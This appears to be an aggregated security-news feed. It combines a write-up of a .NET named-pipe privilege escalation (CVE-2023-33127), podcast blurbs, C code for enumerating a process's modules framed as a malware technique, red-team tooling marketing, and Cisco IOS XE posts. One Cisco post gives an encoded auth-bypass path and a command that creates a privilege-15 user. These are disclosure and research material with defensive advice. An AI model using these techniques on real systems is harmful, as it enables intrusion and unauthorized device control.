Note: Even if DCOM security settings permit object activation in another session, it does not necessarily mean the launching user has the permissions to access and use the activated object. Regardless, activation is all that is required for this use case.

Fortunately for us, James developed and released OleViewDotNet, which makes discovering and analyzing COM objects much easier and quicker. After narrowing down COM objects configured to run as the “interactive user”, I discovered that the Phone Link UWP application (PhoneExperienceHost.exe) was also a DCOM server:

After some basic testing, two key elements came to fruition:

• As an out-of-process DCOM server, associated DCOM class objects would launch the PhoneExperienceHost.exe executable (including all .NET components).
• A lower privileged user could most certainly activate several associated DCOM objects in a privileged user session on Windows 10 (e.g. CLSID – 7540C300-BE9B-4C0D-A335-F002F9AB73B7).

Although a potential premise was set for cross-session attack, there was still the problem of lacking a core exploitation vector. There are several ways to approach this problem, and I thought about investigating a few of those potential vectors, but I focused on the diagnostic port named pipe. There are interesting exploitation primitives that could potentially be leveraged to attack named pipes as discussed in this fantastic blog post by @0xcsandker.

Albeit an obvious statement – one of the best things about open-source software is that the source code is made publicly available, so there is a time advantage for not having to reverse engineer part of the .NET runtime and/or dive too deeply into the internals (although it is not a bad idea). As such, I decided to search through the .NET runtime source code on GitHub and analyze the diagnostic port implementation. Here is the C code used to create the named pipe with CreateNamedPipeA (prior to patching):

Named pipes are FIFO structures – the first named pipe server instance has precedence to respond to client requests if multiple named pipes with the same name exist. Furthermore, subsequent named pipes inherit the handle security descriptor of the first named pipe when created, including the DACL and ownership. However, if the FILE_FLAG_FIRST_PIPE_INSTANCE flag is specified within the openmode parameter, the subsequent named pipe will not be created, and inheritance will be thwarted.

Interestingly, the FILE_FLAG_FIRST_PIPE_INSTANCE flag is not specified when creating the diagnostic port named pipe. This means that the named pipe will still be created even if another pipe with the same name already exists. In short, if an attacker creates a crafted named pipe before the Core CLR creates a diagnostic port with the same name, the attacker has the ability to control the diagnostic endpoint and issue commands from another session because the attacker owns the named pipe handle and security descriptor. To successfully exploit this condition, the attacker must figure out a way to create the malicious named pipe prior to the .NET application CLR runtime creating the legitimate named pipe of the same name.

Note: In my recorded MCTTP conference talk, I misspoke about the inclusion of the PIPE_UNLIMITED_INSTANCES flag when it should have been about the exclusion of the FILE_FLAG_FIRST_PIPE_INSTANCE flag. Please execute this error if you decide to watch the recorded talk.

Now, let’s recall the naming convention for the diagnostic port named pipe:

\.\pipe\dotnet-diagnostic-{Process ID (PID) of .NET application}

Although the named pipe is mostly static, the suffix mirrors the process identifier of the running .NET application. As a result, there are three challenges to overcome for successful exploitation:

1. Beat a race condition and create the tampered named pipe before the target .NET application.
2. Figure out a continuous way to spawn the target process until a named pipe match is made.
3. And finally, deliver a payload…

Exploitation Walkthrough

Fortunately, all of the challenges can be addressed programmatically with the required conditions in place. First order of business was to address the race condition, which in many ways is out of our control, so my solution was to optimize coverage and leverage a “spray and pray” technique. For a proof-of-concept, I opted to create thousands of weakly permissive named pipes conforming to the diagnostic port convention. After a restart, there was a likelihood of low-ordered PID creation for newly spawned target application processes, which slightly increased the chance of hitting the covered named pipes. In reality, this approach was not as practical as just accounting for different ranges of PIDs and maintaining a sense of realism (e.g. no reboot in the real world with multiple sessions). In the end, the best option was just to simply increase the number of tampered named pipes for getting a quicker match.

Next, the issue of continuous COM activation. Interestingly enough, activating a cross-session DCOM object is quite easy through the use of a Session Moniker:

Format: Session:[session id]!clsid:[class id]

I opted to continuously activate target DCOM object in an infinite loop. A sleep delay was added to ensure that the same, previously activated object was not re-used so that a new out-of-process server in the target session was spawned to increase the chance of a match.

Lastly, I needed a payload delivery vector. This was the best part – simply re-using the AttachProfiler capability to deliver a malicious DLL payload worked like a charm after cleaning up the malicious named pipe.

Demonstration

Here is a screenshot of the exploit in action:

Once the .NET target process created the diagnostic port named pipe after a match, the handle inherited weak DACL permissions and ownership from the tampered named pipe:

Upon successful tampering, the exploit sends the AttachProfiler command to the target .NET application diagnostic endpoint and instructs the CLR to load the payload DLL to achieve cross-session code execution:

Mitigation & Disclosure Timeline

• 03/2023 – Initial report submitted to MSRC
• 04/2023 – Acknowledgement of vulnerability and patch development
• 06/2023 – Unofficially, Microsoft appeared to address launch and activation permissions for the impacted DCOM objects
• 07/2023 – Official patch released (in .NET) by Microsoft
• 09/2023 – Bug initially disclosed at the 2023 MCTTP conference

Defensive Considerations

• To protect against CVE-2023-33127 cross-session privilege escalation, upgrade .NET dependency components to the latest version. The patch was officially addressed in July 2023.
• To prevent the .NET Core CLR diagnostic port from loading at all, set persistent environment variables at all applicable levels with the following configuration knob:

DOTNET_EnableDiagnostics=0

• To detect possible dotnet-dump.exe lolbin abuse, consider implementing the following SIGMA rule authored by Nasreddine Bencherchali (@nas_bench): proc_creation_win_lolbin_dotnet_dump
• To detect possible Environment Variable CoreCLR profiler abuse, consider implementing the following updated SIGMA rule originally authored by Jose Rodriguez (@Cyb3rPandaH): registry_set_enabling_cor_profiler_env_variables
• Understanding .NET telemetry sources are important for collecting events and building robust detections. Telemetry Layering by Jonny Johnson (@jsecurity101) is a great resource that dives into the concept. As such, consider leveraging .NET (Core) diagnostic capabilities to aid in telemetry collection if feasible for your use cases. Monitor for interesting and opportunistic CLR events (e.g. profiler attachment) in addition to other interesting events such as .NET assembly loads.

Conclusion

.NET presents an interesting and opportunistic attack surface. In this post, we focused on Windows techniques, but there are certainly use cases that may extend to or present unique opportunities on other platforms and operating systems.

As always, thank you for taking the time to read this post and happy hunting!

-bohops

Ian Campbell, security operations engineer at DomainTools, is someone who has truly carved a niche out for himself in his organization and in the cybersecurity landscape as a whole. His blogs for the DomainTools website have provided paths for neurodiverse cybersecurity professionals and allies who want to make their organizations more friendly to neurodiversity to undertake the small changes to work roles and company culture that can net huge improvements for folks with different types of cognition, patterns of learning, concentration challenges, and yes, nurturable strengths!

I’ve said it plenty of times here and I’ll say it again: cybersecurity is at its best when we’re all together, solving problems and creating solutions with our own diverse approaches.

0:00 - Neurodiversity in cybersecurity
4:00 - How Ian Campbell got into cybersecurity
6:50 - Cybersecurity journey
15:33 - What does a security operations engineer do?
18:37 - Chokepoints of security operations engineer role
20:22 - Supporting people with neurodiverse work and learning
25:50 - What hinders neurodiverse workers in cybersecurity?
30:17 - Altering work culture for neurodiverse workers
39:00 - Neurodivergent traits suited for cybersecurity
42:05 - Benefits of neurodiversity in cybersecurity
48:41 - Promoting communication for neurodiverse workers
52:36 - Positive policies for neurodivergent workers
58:20 - Learn more about DomainTools
1:00:00 - Learn more about Ian Campbell
1:00:23 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

We invite PG Practice subscribers to join our EOY CTF tournament! Learn more about the competition, how to participate, and prizes.

The post Put Your Skills to the Test in OffSec’s 2023 EOY CTF appeared first on OffSec.

Guest AJ Grotto is the William J. Perry International Security Fellow and founding director of the Program on Geopolitics, Technology and Governance at the Stanford Policy Center and Stanford University. Grotto has served in the National Cybersecurity Council under two successive presidents and brings decades of knowledge in international relations, policy and risk both to his students and to clients in his private sector consulting work. Grotto tells us about the current state of international cyber risk and response, gives his tips for students just getting started in international policy and why a suspicious-looking email took him away from the law profession and into the security space. 

0:00 - National security cyber issues
4:04 - How AJ Grotto got into cybersecurity
7:10 - Grotto's work in the National Security Council
10:25 - Skills used in the National Security Council
14:35 - Working at Sagewood 
17:00 - Global trends in cybersecurity
19:00 - Economies down; cyber crime up? 
20:17 - Cyber risk work at Stanford
23:10 - Cybersecurity students at Stanford
29:46 - How to take Grotto's class at Stanford
31:25 - Federal Zero Trust directives
34:49 - What to research for national security work
38:09 - Important global cybersecurity topics
40:06 - Learn more about Grotto, Stanford international policy
41:07 - Outro   

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

Infosec IQ’s director of production, Steve Concotelli comes to us following years working in the movie and TV industry, and his ability to create and craft a great story is at the core of what makes Work Bytes the most award-winning security awareness series on the market! Learn more about Concotelli and the team’s ability to craft storylines with takeaways that stick, as well as the reasons why we create four different information delivery types to match the pace and time commitments of your workers. Maybe by the end, you’ll know which of the fantastical characters I mentioned at the start is most like you! Kick back and enjoy a few engaging minutes with this Cyber Work Hack. And take the Work Bytes Personality Quiz: https://infosec.involve.me/work-bytes-personality-quiz.

0:00 - Film storytelling in cybersecurity 
2:48 - How Concotelli moved from Hollywood to Infosec
3:56 - What is Work Bytes?
5:50 - Telling the story of Work Bytes
7:47 - Balancing fun and info
14:07 - What's new in Work Bytes?
19:21 - Big goals for Work Bytes
20:29 - Outro

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

Learn One offers flexibility and everything you need to earn a cert and build your cybersecurity career. Discover more about this value-packed subscription.

The post Build Your Cybersecurity Career Path with Learn One appeared first on OffSec.

﷽

Hello, cybersecurity enthusiasts and white hackers!

Today, this post is the result of my own research on another popular malware development trick: get list of modules of target process.

It’s similar to my previous post about enum list of modules, but in this case I used VirtualQueryEx

practical example

First of all, we just use one of the methods to find target process PID. For example I used this one:

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ph,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

Then, create function which opens a specified process, iterates through its memory regions using VirtualQueryEx, and retrieves information about the loaded modules, including their names and base addresses:

// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {
  HANDLE ph;
  MEMORY_BASIC_INFORMATION mbi;
  char * base = NULL;

  ph = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
  if (ph == NULL)
    return -1;

  printf("modules found:\n");
  printf("name\t\t\t base address\n");
  printf("=================================================================================\n");

  while (VirtualQueryEx(ph, base, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) {
    char szModName[MAX_PATH];

    // only focus on the base address regions
    if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
      if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR)))
        printf("%#25s\t\t%#10llx\n", szModName, (unsigned long long)mbi.AllocationBase);
      }
      // check the next region
      base += mbi.RegionSize;
    }
  
  CloseHandle(ph);
  return 0;
}

As you can see, the code enters a while loop that continues as long as the VirtualQueryEx function successfully retrieves memory information. This loop iterates through memory regions within the target process.

Then checks whether the AllocationBase of the current memory region matches the BaseAddress. This condition ensures that it only focuses on the base address regions. If the conditions are met, it proceeds to retrieve the module name.

if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR))) - The GetModuleFileNameEx function is called to retrieve the module filename associated with the current memory region’s base address. If successful, it stores the filename in szModName.

If the module name retrieval was successful, the code prints the module name and base address in a formatted manner.

After processing the current region, the base pointer is incremented by the size of the region to check the next region in the subsequent iteration of the loop.

That’s all.

So, the full source code is looks like this (hack.c):

/*
 * hack.c - get the list of 
 * modules of the process via VirtualQueryEx. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2023/11/07/malware-tricks-37.html
*/
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <psapi.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ph,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {
  HANDLE ph;
  MEMORY_BASIC_INFORMATION mbi;
  char * base = NULL;

  ph = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
  if (ph == NULL)
    return -1;

  printf("modules found:\n");
  printf("name\t\t\t base address\n");
  printf("=================================================================================\n");

  while (VirtualQueryEx(ph, base, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) {
    char szModName[MAX_PATH];

    // only focus on the base address regions
    if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
      if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR)))
        printf("%#25s\t\t%#10llx\n", szModName, (unsigned long long)mbi.AllocationBase);
      }
      // check the next region
      base += mbi.RegionSize;
    }
  
  CloseHandle(ph);
  return 0;
}

int main(int argc, char* argv[]) {
  int pid = 0; // process ID
  pid = findMyProc(argv[1]);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  if (pid != 0)
    listModulesOfProcess(pid);
  return 0;
}

demo

Let’s go to see this logic in action.

Compile it:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi

Then, open target process in the victim’s machine:

And just run our hack.exe:

.\hack.exe mspaint.exe

As you can see, everything is worked perfectly! =^..^=

Keep in mind that this code may have limitations and dependencies on specific Windows APIs. Additionally, it relies on the process name for identification, which may not be unique.

This code can also help you develop your own script to work with process memory, for example for forensics or other tasks on blue team practical cases.

I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.

VirtualQueryEx
GetModuleFileNameEx
Find process ID by name and inject to it
Find PID via NtGetNextProcess
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

When we debuted OST back in 2021, we wrote a blog detailing both the product features and the rationale for investing time into this toolset. In 2022, we joined forces with Fortra and we can hardly believe it’s been over a year already. It was a big decision to go from being a small team of red teamers to becoming part of a large company, but we’re very pleased with the switch. In this reflection on the past 12 months, we want to provide an update on our mission, detail our continued dedication to OST, discuss the process of growing the Outflank community, and touch on where we’re headed next.  

A Product Oriented Focus

One of our biggest challenges when we joined Fortra was the decision to put most of our energy into Outflank Security Tooling (OST). Everyone on the team is a dedicated security consultant with years of experience in conducting complex red team engagements, so shifting much of our focus to a product was unfamiliar territory. While there was some initial discomfort, the adjustment was well worth it. We have enjoyed being able to spend much more time on research and development and to be able to create novel new tools that had real value.

A big reason this transition has been so successful is the additional resources and support provided by Fortra, a company that has a strong foothold in the cybersecurity space and is familiar with its challenges, like export controls and quality control. Fortra is particularly well versed in offensive cybersecurity, with multiple solutions that focus on pinpointing risks. With their acquisition of Cobalt Strike, they have already proved that they know how to successfully manage and foster the continued growth of advanced red teaming tools with unique R&D needs.

We have also greatly benefited from having access to extensive knowledge from colleagues in supporting areas like sales, customer support, legal, and marketing. Knowing we can confidently hand off tasks to these experienced teams has allowed us to go full throttle on the technology, of which we remain fully in charge. Additionally, we’ve been able to take advantage of the other R&D teams. This is particularly true with Cobalt Strike’s experts, which we’ll go into more detail on later on.

A Fruitful Year: New OST Tools Released

Our increased focus on OST is evident by the steady expansion of the toolset. In the past year alone, we’ve added the following new tools and capabilities:

• Stage1 v.2: A major overhaul of our C2 framework. It now supports BOFs, Socks proxying, C2 via HTTPS, SMB, raw TCP and files, and many more other features, while keeping the extreme OPSEC focus alive.
• Cobalt Strike Integrations: An easy way for operators to make use of custom UDRLs and custom Sleep Masks straight onto their Cobalt Strike payloads.
• New EDR Evasion: Super effective techniques embedded in tools such as Payload Generator and Stage1 implant generator. This includes DRIP allocations, ROP gadgets, and stealthy loading techniques.
• Hidden Desktop v2: A significant rewrite of Hidden Desktop in BOF format that is stealthier, faster in operation and easier in deployment.
• KernelTool and KernelKatz: Uses the power of vulnerable kernel drivers to directly interact with the Windows kernel to scrape credentials and/or modify other processes while EDRs let you through.
• EvilClicky: An easy way to abuse ClickOnce functionality.
• KerberosAsk: Updated to enhance Rubeus-like Kerberos trickery, in an OPSEC safe and in BOF format.

Expanding the OST Community

This increase in development has progressed us from crawling to walking, but growth in other areas has really made us feel like we’re now keeping a steady running pace.

While we’re working hard on new tool additions, we’ve also run multiple knowledge sharing sessions for OST users, covering topics like EDR evasion, Windows Kernel drivers, ClickOnce technique and Stage 1 C2 automation. We have been able to onboard many more red teams. Coupled with the fact that the Outflank team is more available on the Slack community and more red teams are coming to discuss ideas, the OST community is in a way better position that it ever was.

Not Forgetting What Makes Us Outflank

We’ve continued to conduct some trainings and red team engagements this last year, as this remains a core function of Outflank. Not only is it something we’re all passionate about, but it also helps in our development of OST. A critical part of R&D is to stay current on what red teamers are seeing in the wild. Running engagements keep our skills sharp and allow us to keep a pulse on the needs of other red teamers.  

An Expanding Team of Experts

One of the key factors in choosing to become part of Fortra was the opportunity to work with the Cobalt Strike team. We have used this benchmark product since the inception of Outflank and have designed OST to work both in tandem and together with Cobalt Strike (although OST certainly can be used independent of Cobalt Strike). Becoming coworkers with this welcoming, intelligent team has been as valuable as we hoped it would be. Both products have benefited from having added perspectives and the success of our collaborative efforts are already evident, with new integrations like our custom User Defined Reflective Loaders, custom Sleep Masks and YARA based payload analyses. While our products will remain independent, it’s clear that there are countless possibilities for innovation and alignment that we’re excited to continue to explore.

The Outflank team has also grown. As a small team that relies on effective communication and joint efforts, we carefully considered the potential outcomes of adding new members. We wanted to ensure they were a good fit and that we were adding expertise that would help OST continue to excel. With this in mind, we recently welcomed Tycho Nijon, our first full stack developer who is focusing on broader application development and Kyle Avery, a principal offensive specialist lead who is more focused on specialized research and development.  

The Ongoing Evolution of OST

Perhaps the biggest takeaway from this past year has been the overwhelmingly positive response from the market. Simply put, many red teams do not have the desire or resources to develop their own tools. At the same time, EDR tools are rapidly becoming more powerful, requiring red teams to double down on their OPSEC. OST fills that gap. Ultimately, we found that modern red teams really require support from beginning to end, from initial access to actions on objectives, from tooling to knowledge. With Outflank being part of Fortra, we are better equipped than ever to deliver solutions to meet these needs. Moving forward, OST customers can expect more Q&As, info sessions, and of course, new tools that expand and simplify red team capabilities.

If you’re interested in seeing all of the diverse offerings in OST, we recommend scheduling an expert led demo.

The post Reflecting on a Year with Fortra and Next Steps for Outflank appeared first on Outflank.

Learn about OffSec's unique approach to cybersecurity education. Better understand a comprehensive learning ecosystem that emphasizes a continuous cycle of learning, from hands-on offensive techniques to defensive strategies, and join a community dedicated to real-world cybersecurity excellence.

The post Elevating the standard for cybersecurity education appeared first on OffSec.

Tomas Smalakys, CTO at NordPass, is today's guest. As our future seems choked with a never-ending need for new passwords of ever-growing complexity for everything we sign up for, Smalakys, along with some large tech organizations, is embracing a post-password future with a system of passkeys. What will it look like? How is it implemented? How will you be able to do this bleeding-edge work in the future? Tune in for today’s episode of Cyber Work and find out!

0:00 - The future of online passwords
3:43 - Tomas Smalakys' start in cybersecurity
8:40 - Managing software engineers
15:33 - Chief technical officer at NordPass
20:05 - The state of password security
27:22 - Imperfections in two-factor security
42:13 - How to know you've been compromised online
47:55 - The passkey system
1:02:41 - How to work in passwords and passkeys
1:09:05 - Learn more about Smalakys and NordPass
1:10:07 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

The NodeZero^TM platform empowers your organization to reduce your security risk by autonomously finding exploitable weaknesses in your network, giving you detailed guidance about how to prioritize and fix them, and helping you immediately verify that your fixes are effective.

The post NodeZero Fact Sheet appeared first on Horizon3.ai.

Black Unicorn 2023 Award

The post Black Unicorn 2023 Award appeared first on Horizon3.ai.

Anna Claiborne from Zayo talks about the spike of DDoS attacks they saw in the past year. Although distributed denial of service (DDoS) attacks trend up nearly every year, new factors around advanced automation and ease of use may be driving the increase. Claiborne takes us back 20 years, when solutions to DDoS attacks involved trying the most far-out solution you could, often for the most far-out clients you could imagine! Seriously, I use the words “Wild West” to describe early security on a lot of episodes, but Claiborne really gives us some top-notch war stories. She’ll also let you know where to focus if you want to get started in telecom security, or any of near-infinite industries that would be impacted by telecom shutting down.

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - AI and DDoS attacks 
4:20 - How Anna Claiborne got into cybersecurity
8:24 - Claiborne's cybersecurity experiences 
14:10  - The changes in DDoS attacks
16:55 - Current DDoS escalations 
24:34 - Claiborne's role as a VP
34:25 - Why DDoS attacks have skyrocketed
38:32 - Why DDoS attacks are easier
42:55 - How much is DDoS effective?
44:24 - Tips for countering DDoS
47:16 - Careers involving DDoS attacks
51:09 - Acquire DDoS skills early
56:19 - Learn more about Claiborne and Zayo
57:48 - Outro
 
About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

Introduction

This post is a follow up to https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/.

Previously, we explored the patch for CVE-2023-20273 and CVE-2023-20198 affecting Cisco IOS XE and identified some likely vectors an attacker might have used to exploit these vulnerabilities. Now, thanks to SECUINFRA FALCON TEAM’s honeypot, we have further insight into these vulnerabilities.

POC

See below for an example request that bypasses authentication on vulnerable instances of IOS-XE. This POC creates a user named baduser with privilege level 15. Let’s dig into the details.

POC

Bad Path Parsing

In our previous post, we theorized that an attacker would somehow need to reach the webui_wsma_http or webui_wsma_https endpoints. The crux of this vulnerability is in the first line of this request POST /%2577ebui_wsma_HTTP. This clever encoding of webui_wsma_http bypasses the Nginx matches discussed in the previous post and allows us to reach the WMSA service in iosd. It is clear now that the Proxy-Uri-Source header added in the patch is intended to prevent attacker from accessing the WSMA service by setting the default header value global and to webui_internal for legitimate requests.

Web Services Management Agent (WMSA)

The Web Service Management Agent, allows you to execute commands and configure the system through SOAP requests. Cisco’s documentation gives example SOAP requests that we can use to access the configuration feature. From here, we can easily create a new user with privilege level 15 by sending the CLI command username <user> privilege 15 secret <password>. After running the POC, we can check the Administration -> User Administration panel in the UI to see our new user.

Proof of new user

Summary

From here, an attack would use CVE-2023-20273 to elevate to root and write an implant to disk. However, even without CVE-2023-20273, this POC essentially gives full control over the device. Cisco’s method for fixing this vulnerability seems a bit unconventional. We would have expected them to fix the path parsing vulnerability instead of adding a new header. This makes us wonder if there are other hidden endpoints that can be reached with this method.
 

The post Cisco IOS XE CVE-2023-20198: Deep Dive and POC appeared first on Horizon3.ai.

Discover how mentorship programs can aid cybersecurity skills development and retention of cybersecurity talent.

The post Mentorship Programs: A Crucial Element in Retaining Cybersecurity Talent appeared first on OffSec.

Business Wire 10/26/2023

Horizon3.ai, a leading provider of autonomous security solutions, today announced the findings from a commissioned study, “The Total Economic ImpactTM of the NodeZero Platform, October 2023,” performed by Forrester Consulting……

Read the entire article here

The post Horizon3.ai NodeZero™ Autonomous Pentesting Users Saved $325K+/Year in Improved SecOps Productivity, and Third-party Pentesting and Vulnerability Scanner Costs, Independent Study Shows appeared first on Horizon3.ai.

Introduction

There has been a lot of news around the recent Cisco IOS XE vulnerabilities CVE-2023-20198 and CVE-2023-2073. Information about this vulnerability was first published by Cisco on October 16th, 2023, and since then we have seen evidence of mass exploitation and implantation. In this post we share our technical insights so far into these vulnerabilities.

Cisco IOS XE Architecture

Cisco has a few different operating systems:

• Cisco IOS
• Cisco IOS XE (based on Linux)
• Cisco NX-OS (based on Linux)
• Cisco IOS XR (based on QNX)
• ASA OS (based on Linux)
• CatOS

Most prior vulnerability research is centered around Cisco IOS. Cisco IOS is a unique operating system that runs as basically one giant binary. In this post, we are focused on Cisco IOS XE which is based on Linux and quite different from IOS. After obtaining the filesystem for a patched and unpatched version of IOS XE we see that the vulnerable webui service is a combination of Nginx and the iosd binary.

Nginx + Lua

Cisco IOS XE uses a version of Nginx called OpenResty. OpenResty extends Nginx by adding support for Lua scripting. This is evident by examining the /usr/binos/conf/webui.conf file:

webui.conf

Here we can see the rewrite_by_lua_block and access_by_lua_block directives which run Lua code during the rewrite and access Nginx phases. Its clear now that the vulnerable webui service is using Nginx. We want to see the entire picture, so we start to look for the root Nginx config file. To our disappointment, we find that root Nginx config is a single line, include /tmp/nginx.conf. Since tmpfs filesystems are generally only available at runtime, we determine that the true Nginx config file must be dynamically generated. Searching for the /tmp/nginx.conf string, we are led to the iosd binary.

grep for nginx.conf

IOSD

iosd is a large monolithic binary. Presumably, when Cisco created IOS XE based on Linux, they wanted to repurpose as much code as possible from IOS. We think that might explain why there is so much functionality packed into iosd. We are unable to get Ghidra to ever finish analyzing iosd, but luckily IDA can handle the job. Examining the strings, of iosd we find that it is indeed be responsible for generating the overall Nginx config.

iosd strings

Based on further exploration of iosd we also see that it is responsible for most of the HTTP related processes in IOS XE. Here, in the cli, we can see a summary of the different HTTP modules managed by iosd.

http server session modules

The Patch

There are quite a few differences we see comparing the patched and unpatched filesystems. We will first focus on the differences we think are related to CVE-2023-20198, the vulnerability used to create a user with level 15 privileges.

Proxy-Uri-Source Header

The first patch we are drawn to is in WSMAApiLib.lua which is used to interact with the backend wsma service listed above. We see that Cisco added a new header to an internal request they make in WSMASendCommand.

WSMASendCommand

Tracing the callers of WSMASendCommand we find that there are indeed ways to configure a new user with this function. However, all paths that we find require authentication so far.

We also notice that iosd is updated to set the same Proxy-Uri-Source header in the server handlers of the Nginx config.

iosd Proxy-Uri-Source header

We also notice that one of the HTTP handlers in iosd has added a check to make sure that the Proxy-Uri-Source is set to webui_internal.

iosd Proxy-Uri-Source check

Our Current Theory

Based on these changes, our theory is that Cisco is trying to enforce that all access to the wsma services go through WSMASendCommand which requires authentication. Based on the Niginx config changes in iosd, is seems like there might have been a way to hit the wsma service through another service in iosd and by setting the Proxy-Uri-Source header to global for all requests outside of WSMASendCommand, they are effectively implementing a kind of authentication.

There are quite a few HTTP services in iosd, some require authentication and some do not. However, we have not been able to find a way yet to redirect to the wsma services in an unauthenticated manner. The size of the iosd binary has prevented us so far from running bindiff.

Other Changes

There are a few other changes in the patch diff that we think are probably related to CVE-2023-20273, the vulnerability used to write the implant to disk. There is a change to how they handle IPv6 string validation that mentions the vulnerability in a comment specifically referencing the Cisco bug ID for these 0-days. It comments:

“As a cardinal rule for any validation or check, assume the input is invalid”.

The previous version of the function uses the less secure assumption that unless it violates some specific checks, that it is a valid IPv6 address. Now, the function assumes it is invalid unless passing a more thorough set of checks.

IPv6 validation change

This function is called from a few different places that all require authentication. It allows us to pass validation with invalid IPv6 strings.

Invalid IPv6 string

There is also a fix for what seems to be a logic bug in softwareUpdateUtils.lua.

softwareUpdateUtils.lua logic bug

TL:DR Exploit Theory Crafting

There are two main observable changes:

1. A new custom header, “Proxy-Uri-Source”, is set in the Nginx configs and checked in the iosd binary before allowing access to the wsma endpoints
   1. The attacker has discovered a method to pass requests to the wsma endpoints without control of the forwarded headers
   2. The wsma endpoints expects an XML payload and will execute any arbitrary IOS CLI command in it
2. Updates to IPv6 address validation which is utilized in builtin software install functionality in endpoints like /webui/rest/upgrade or via wsma
   1. The attacker has discovered a way to write and execute arbitrary files by abusing this validation failure
   2. The software install vector also corresponds with the observed IOC in the Talos blog

